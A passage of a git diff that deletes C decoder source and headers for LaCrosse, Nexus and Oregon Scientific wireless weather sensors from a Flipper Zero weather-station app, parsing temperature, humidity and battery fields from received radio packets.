furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_lacrosse_tx_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_lacrosse_tx_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/lacrosse_tx.h b/applications/external/weather_station/protocols/lacrosse_tx.h deleted file mode 100644 index 151282b3a..000000000 --- a/applications/external/weather_station/protocols/lacrosse_tx.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_LACROSSE_TX_NAME "LaCrosse_TX" - -typedef struct WSProtocolDecoderLaCrosse_TX WSProtocolDecoderLaCrosse_TX; -typedef struct WSProtocolEncoderLaCrosse_TX WSProtocolEncoderLaCrosse_TX; - -extern const SubGhzProtocolDecoder ws_protocol_lacrosse_tx_decoder; -extern const SubGhzProtocolEncoder ws_protocol_lacrosse_tx_encoder; -extern const SubGhzProtocol ws_protocol_lacrosse_tx; - -/** - * Allocate WSProtocolDecoderLaCrosse_TX. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderLaCrosse_TX* pointer to a WSProtocolDecoderLaCrosse_TX instance - */ -void* ws_protocol_decoder_lacrosse_tx_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderLaCrosse_TX. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - */ -void ws_protocol_decoder_lacrosse_tx_free(void* context); - -/** - * Reset decoder WSProtocolDecoderLaCrosse_TX. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - */ -void ws_protocol_decoder_lacrosse_tx_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_lacrosse_tx_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_lacrosse_tx_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderLaCrosse_TX. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_lacrosse_tx_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderLaCrosse_TX. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_lacrosse_tx_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX instance - * @param output Resulting text - */ -void ws_protocol_decoder_lacrosse_tx_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/lacrosse_tx141thbv2.c b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.c deleted file mode 100644 index f2fddd40c..000000000 --- a/applications/external/weather_station/protocols/lacrosse_tx141thbv2.c +++ /dev/null @@ -1,294 +0,0 @@ -#include "lacrosse_tx141thbv2.h" - -#define TAG "WSProtocolLaCrosse_TX141THBv2" - -#define LACROSSE_TX141TH_BV2_BIT_COUNT 41 - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/lacrosse_tx141x.c - * - * iiii iiii | bkcc tttt | tttt tttt | hhhh hhhh | cccc cccc | u - 41 bit - * or - * iiii iiii | bkcc tttt | tttt tttt | hhhh hhhh | cccc cccc | -40 bit - * - i: identification; changes on battery switch - * - c: lfsr_digest8_reflect; - * - u: unknown; - * - b: battery low; flag to indicate low battery voltage - * - h: Humidity; - * - t: Temperature; in °F as binary number with one decimal place + 50 °F offset - * - n: Channel; Channel number 1 - 3 - */ - -static const SubGhzBlockConst ws_protocol_lacrosse_tx141thbv2_const = { - .te_short = 208, - .te_long = 417, - .te_delta = 120, - .min_count_bit_for_found = 40, -}; - -struct WSProtocolDecoderLaCrosse_TX141THBv2 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - - uint16_t header_count; -}; - -struct WSProtocolEncoderLaCrosse_TX141THBv2 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - LaCrosse_TX141THBv2DecoderStepReset = 0, - LaCrosse_TX141THBv2DecoderStepCheckPreambule, - LaCrosse_TX141THBv2DecoderStepSaveDuration, - LaCrosse_TX141THBv2DecoderStepCheckDuration, -} LaCrosse_TX141THBv2DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_lacrosse_tx141thbv2_decoder = { - .alloc = ws_protocol_decoder_lacrosse_tx141thbv2_alloc, - .free = ws_protocol_decoder_lacrosse_tx141thbv2_free, - - .feed = ws_protocol_decoder_lacrosse_tx141thbv2_feed, - .reset = ws_protocol_decoder_lacrosse_tx141thbv2_reset, - - .get_hash_data = ws_protocol_decoder_lacrosse_tx141thbv2_get_hash_data, - .serialize = ws_protocol_decoder_lacrosse_tx141thbv2_serialize, - .deserialize = ws_protocol_decoder_lacrosse_tx141thbv2_deserialize, - .get_string = ws_protocol_decoder_lacrosse_tx141thbv2_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_lacrosse_tx141thbv2_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_lacrosse_tx141thbv2 = { - .name = WS_PROTOCOL_LACROSSE_TX141THBV2_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_lacrosse_tx141thbv2_decoder, - .encoder = &ws_protocol_lacrosse_tx141thbv2_encoder, -}; - -void* ws_protocol_decoder_lacrosse_tx141thbv2_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = - malloc(sizeof(WSProtocolDecoderLaCrosse_TX141THBv2)); - instance->base.protocol = &ws_protocol_lacrosse_tx141thbv2; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_lacrosse_tx141thbv2_free(void* context) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - free(instance); -} - -void ws_protocol_decoder_lacrosse_tx141thbv2_reset(void* context) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepReset; -} - -static bool - ws_protocol_lacrosse_tx141thbv2_check_crc(WSProtocolDecoderLaCrosse_TX141THBv2* instance) { - if(!instance->decoder.decode_data) return false; - uint64_t data = instance->decoder.decode_data; - if(instance->decoder.decode_count_bit == LACROSSE_TX141TH_BV2_BIT_COUNT) { - data >>= 1; - } - uint8_t msg[] = {data >> 32, data >> 24, data >> 16, data >> 8}; - - uint8_t crc = subghz_protocol_blocks_lfsr_digest8_reflect(msg, 4, 0x31, 0xF4); - return (crc == (data & 0xFF)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_lacrosse_tx141thbv2_remote_controller(WSBlockGeneric* instance) { - uint64_t data = instance->data; - if(instance->data_count_bit == LACROSSE_TX141TH_BV2_BIT_COUNT) { - data >>= 1; - } - instance->id = data >> 32; - instance->battery_low = (data >> 31) & 1; - instance->btn = (data >> 30) & 1; - instance->channel = ((data >> 28) & 0x03) + 1; - instance->temp = ((float)((data >> 16) & 0x0FFF) - 500.0f) / 10.0f; - instance->humidity = (data >> 8) & 0xFF; -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static bool ws_protocol_decoder_lacrosse_tx141thbv2_add_bit( - WSProtocolDecoderLaCrosse_TX141THBv2* instance, - uint32_t te_last, - uint32_t te_current) { - furi_assert(instance); - bool ret = false; - if(DURATION_DIFF( - te_last + te_current, - ws_protocol_lacrosse_tx141thbv2_const.te_short + - ws_protocol_lacrosse_tx141thbv2_const.te_long) < - ws_protocol_lacrosse_tx141thbv2_const.te_delta * 2) { - if(te_last > te_current) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - } else { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - } - ret = true; - } - - return ret; -} -void ws_protocol_decoder_lacrosse_tx141thbv2_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - - switch(instance->decoder.parser_step) { - case LaCrosse_TX141THBv2DecoderStepReset: - if((level) && - (DURATION_DIFF(duration, ws_protocol_lacrosse_tx141thbv2_const.te_short * 4) < - ws_protocol_lacrosse_tx141thbv2_const.te_delta * 2)) { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepCheckPreambule; - instance->decoder.te_last = duration; - instance->header_count = 0; - } - break; - - case LaCrosse_TX141THBv2DecoderStepCheckPreambule: - if(level) { - instance->decoder.te_last = duration; - } else { - if((DURATION_DIFF( - instance->decoder.te_last, - ws_protocol_lacrosse_tx141thbv2_const.te_short * 4) < - ws_protocol_lacrosse_tx141thbv2_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_lacrosse_tx141thbv2_const.te_short * 4) < - ws_protocol_lacrosse_tx141thbv2_const.te_delta * 2)) { - //Found preambule - instance->header_count++; - } else if(instance->header_count == 4) { - if(ws_protocol_decoder_lacrosse_tx141thbv2_add_bit( - instance, instance->decoder.te_last, duration)) { - instance->decoder.decode_data = instance->decoder.decode_data & 1; - instance->decoder.decode_count_bit = 1; - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepReset; - } - } else { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepReset; - } - } - break; - - case LaCrosse_TX141THBv2DecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepCheckDuration; - } else { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepReset; - } - break; - - case LaCrosse_TX141THBv2DecoderStepCheckDuration: - if(!level) { - if(((DURATION_DIFF( - instance->decoder.te_last, - ws_protocol_lacrosse_tx141thbv2_const.te_short * 3) < - ws_protocol_lacrosse_tx141thbv2_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_lacrosse_tx141thbv2_const.te_short * 4) < - ws_protocol_lacrosse_tx141thbv2_const.te_delta * 2))) { - if((instance->decoder.decode_count_bit == - ws_protocol_lacrosse_tx141thbv2_const.min_count_bit_for_found) || - (instance->decoder.decode_count_bit == LACROSSE_TX141TH_BV2_BIT_COUNT)) { - if(ws_protocol_lacrosse_tx141thbv2_check_crc(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_lacrosse_tx141thbv2_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - instance->header_count = 1; - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepCheckPreambule; - break; - } - } else if(ws_protocol_decoder_lacrosse_tx141thbv2_add_bit( - instance, instance->decoder.te_last, duration)) { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepReset; - } - } else { - instance->decoder.parser_step = LaCrosse_TX141THBv2DecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_lacrosse_tx141thbv2_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_lacrosse_tx141thbv2_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus ws_protocol_decoder_lacrosse_tx141thbv2_deserialize( - void* context, - FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_lacrosse_tx141thbv2_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_lacrosse_tx141thbv2_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderLaCrosse_TX141THBv2* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/lacrosse_tx141thbv2.h b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.h deleted file mode 100644 index 036db0548..000000000 --- a/applications/external/weather_station/protocols/lacrosse_tx141thbv2.h +++ /dev/null @@ -1,81 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_LACROSSE_TX141THBV2_NAME "TX141THBv2" - -typedef struct WSProtocolDecoderLaCrosse_TX141THBv2 WSProtocolDecoderLaCrosse_TX141THBv2; -typedef struct WSProtocolEncoderLaCrosse_TX141THBv2 WSProtocolEncoderLaCrosse_TX141THBv2; - -extern const SubGhzProtocolDecoder ws_protocol_lacrosse_tx141thbv2_decoder; -extern const SubGhzProtocolEncoder ws_protocol_lacrosse_tx141thbv2_encoder; -extern const SubGhzProtocol ws_protocol_lacrosse_tx141thbv2; - -/** - * Allocate WSProtocolDecoderLaCrosse_TX141THBv2. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderLaCrosse_TX141THBv2* pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - */ -void* ws_protocol_decoder_lacrosse_tx141thbv2_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderLaCrosse_TX141THBv2. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - */ -void ws_protocol_decoder_lacrosse_tx141thbv2_free(void* context); - -/** - * Reset decoder WSProtocolDecoderLaCrosse_TX141THBv2. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - */ -void ws_protocol_decoder_lacrosse_tx141thbv2_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_lacrosse_tx141thbv2_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_lacrosse_tx141thbv2_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderLaCrosse_TX141THBv2. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_lacrosse_tx141thbv2_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderLaCrosse_TX141THBv2. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_lacrosse_tx141thbv2_deserialize( - void* context, - FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderLaCrosse_TX141THBv2 instance - * @param output Resulting text - */ -void ws_protocol_decoder_lacrosse_tx141thbv2_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/nexus_th.c b/applications/external/weather_station/protocols/nexus_th.c deleted file mode 100644 index 14ba8b273..000000000 --- a/applications/external/weather_station/protocols/nexus_th.c +++ /dev/null @@ -1,254 +0,0 @@ -#include "nexus_th.h" - -#define TAG "WSProtocolNexus_TH" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/nexus.c - * - * Nexus sensor protocol with ID, temperature and optional humidity - * also FreeTec (Pearl) NC-7345 sensors for FreeTec Weatherstation NC-7344, - * also infactory/FreeTec (Pearl) NX-3980 sensors for infactory/FreeTec NX-3974 station, - * also Solight TE82S sensors for Solight TE76/TE82/TE83/TE84 stations, - * also TFA 30.3209.02 temperature/humidity sensor. - * The sensor sends 36 bits 12 times, - * the packets are ppm modulated (distance coding) with a pulse of ~500 us - * followed by a short gap of ~1000 us for a 0 bit or a long ~2000 us gap for a - * 1 bit, the sync gap is ~4000 us. - * The data is grouped in 9 nibbles: - * [id0] [id1] [flags] [temp0] [temp1] [temp2] [const] [humi0] [humi1] - * - The 8-bit id changes when the battery is changed in the sensor. - * - flags are 4 bits B 0 C C, where B is the battery status: 1=OK, 0=LOW - * - and CC is the channel: 0=CH1, 1=CH2, 2=CH3 - * - temp is 12 bit signed scaled by 10 - * - const is always 1111 (0x0F) - * - humidity is 8 bits - * The sensors can be bought at Clas Ohlsen (Nexus) and Pearl (infactory/FreeTec). - * - */ - -#define NEXUS_TH_CONST_DATA 0b1111 - -static const SubGhzBlockConst ws_protocol_nexus_th_const = { - .te_short = 500, - .te_long = 2000, - .te_delta = 150, - .min_count_bit_for_found = 36, -}; - -struct WSProtocolDecoderNexus_TH { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; -}; - -struct WSProtocolEncoderNexus_TH { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - Nexus_THDecoderStepReset = 0, - Nexus_THDecoderStepSaveDuration, - Nexus_THDecoderStepCheckDuration, -} Nexus_THDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_nexus_th_decoder = { - .alloc = ws_protocol_decoder_nexus_th_alloc, - .free = ws_protocol_decoder_nexus_th_free, - - .feed = ws_protocol_decoder_nexus_th_feed, - .reset = ws_protocol_decoder_nexus_th_reset, - - .get_hash_data = ws_protocol_decoder_nexus_th_get_hash_data, - .serialize = ws_protocol_decoder_nexus_th_serialize, - .deserialize = ws_protocol_decoder_nexus_th_deserialize, - .get_string = ws_protocol_decoder_nexus_th_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_nexus_th_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_nexus_th = { - .name = WS_PROTOCOL_NEXUS_TH_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_nexus_th_decoder, - .encoder = &ws_protocol_nexus_th_encoder, -}; - -void* ws_protocol_decoder_nexus_th_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderNexus_TH* instance = malloc(sizeof(WSProtocolDecoderNexus_TH)); - instance->base.protocol = &ws_protocol_nexus_th; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_nexus_th_free(void* context) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - free(instance); -} - -void ws_protocol_decoder_nexus_th_reset(void* context) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - instance->decoder.parser_step = Nexus_THDecoderStepReset; -} - -static bool ws_protocol_nexus_th_check(WSProtocolDecoderNexus_TH* instance) { - uint8_t type = (instance->decoder.decode_data >> 8) & 0x0F; - - if((type == NEXUS_TH_CONST_DATA) && ((instance->decoder.decode_data >> 4) != 0xffffffff)) { - return true; - } else { - return false; - } - return true; -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_nexus_th_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 28) & 0xFF; - instance->battery_low = !((instance->data >> 27) & 1); - instance->channel = ((instance->data >> 24) & 0x03) + 1; - instance->btn = WS_NO_BTN; - if(!((instance->data >> 23) & 1)) { - instance->temp = (float)((instance->data >> 12) & 0x07FF) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 12) & 0x07FF) + 1) / -10.0f; - } - - instance->humidity = instance->data & 0xFF; - if(instance->humidity > 95) - instance->humidity = 95; - else if(instance->humidity < 20) - instance->humidity = 20; -} - -void ws_protocol_decoder_nexus_th_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - - switch(instance->decoder.parser_step) { - case Nexus_THDecoderStepReset: - if((!level) && (DURATION_DIFF(duration, ws_protocol_nexus_th_const.te_short * 8) < - ws_protocol_nexus_th_const.te_delta * 4)) { - //Found sync - instance->decoder.parser_step = Nexus_THDecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - break; - - case Nexus_THDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = Nexus_THDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = Nexus_THDecoderStepReset; - } - break; - - case Nexus_THDecoderStepCheckDuration: - if(!level) { - if(DURATION_DIFF(duration, ws_protocol_nexus_th_const.te_short * 8) < - ws_protocol_nexus_th_const.te_delta * 4) { - //Found sync - instance->decoder.parser_step = Nexus_THDecoderStepReset; - if((instance->decoder.decode_count_bit == - ws_protocol_nexus_th_const.min_count_bit_for_found) && - ws_protocol_nexus_th_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_nexus_th_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - instance->decoder.parser_step = Nexus_THDecoderStepCheckDuration; - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - - break; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_nexus_th_const.te_short) < - ws_protocol_nexus_th_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_nexus_th_const.te_short * 2) < - ws_protocol_nexus_th_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = Nexus_THDecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_nexus_th_const.te_short) < - ws_protocol_nexus_th_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_nexus_th_const.te_short * 4) < - ws_protocol_nexus_th_const.te_delta * 4)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = Nexus_THDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = Nexus_THDecoderStepReset; - } - } else { - instance->decoder.parser_step = Nexus_THDecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_nexus_th_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_nexus_th_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_nexus_th_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_nexus_th_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_nexus_th_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderNexus_TH* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/nexus_th.h b/applications/external/weather_station/protocols/nexus_th.h deleted file mode 100644 index 6c2715b85..000000000 --- a/applications/external/weather_station/protocols/nexus_th.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_NEXUS_TH_NAME "Nexus-TH" - -typedef struct WSProtocolDecoderNexus_TH WSProtocolDecoderNexus_TH; -typedef struct WSProtocolEncoderNexus_TH WSProtocolEncoderNexus_TH; - -extern const SubGhzProtocolDecoder ws_protocol_nexus_th_decoder; -extern const SubGhzProtocolEncoder ws_protocol_nexus_th_encoder; -extern const SubGhzProtocol ws_protocol_nexus_th; - -/** - * Allocate WSProtocolDecoderNexus_TH. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderNexus_TH* pointer to a WSProtocolDecoderNexus_TH instance - */ -void* ws_protocol_decoder_nexus_th_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderNexus_TH. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - */ -void ws_protocol_decoder_nexus_th_free(void* context); - -/** - * Reset decoder WSProtocolDecoderNexus_TH. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - */ -void ws_protocol_decoder_nexus_th_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_nexus_th_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_nexus_th_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderNexus_TH. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_nexus_th_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderNexus_TH. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_nexus_th_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderNexus_TH instance - * @param output Resulting text - */ -void ws_protocol_decoder_nexus_th_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/oregon2.c b/applications/external/weather_station/protocols/oregon2.c deleted file mode 100644 index 313748ccf..000000000 --- a/applications/external/weather_station/protocols/oregon2.c +++ /dev/null @@ -1,429 +0,0 @@ -#include "oregon2.h" - -#include -#include -#include -#include -#include "ws_generic.h" - -#include -#include - -#define TAG "WSProtocolOregon2" - -static const SubGhzBlockConst ws_oregon2_const = { - .te_long = 1000, - .te_short = 500, - .te_delta = 200, - .min_count_bit_for_found = 32, -}; - -#define OREGON2_PREAMBLE_BITS 19 -#define OREGON2_PREAMBLE_MASK 0b1111111111111111111 -#define OREGON2_SENSOR_ID(d) (((d) >> 16) & 0xFFFF) -#define OREGON2_CHECKSUM_BITS 8 - -// 15 ones + 0101 (inverted A) -#define OREGON2_PREAMBLE 0b1111111111111110101 - -// bit indicating the low battery -#define OREGON2_FLAG_BAT_LOW 0x4 - -/// Documentation for Oregon Scientific protocols can be found here: -/// http://wmrx00.sourceforge.net/Arduino/OregonScientific-RF-Protocols.pdf -// Sensors ID -#define ID_THGR122N 0x1d20 -#define ID_THGR968 0x1d30 -#define ID_BTHR918 0x5d50 -#define ID_BHTR968 0x5d60 -#define ID_RGR968 0x2d10 -#define ID_THR228N 0xec40 -#define ID_THN132N 0xec40 // same as THR228N but different packet size -#define ID_RTGN318 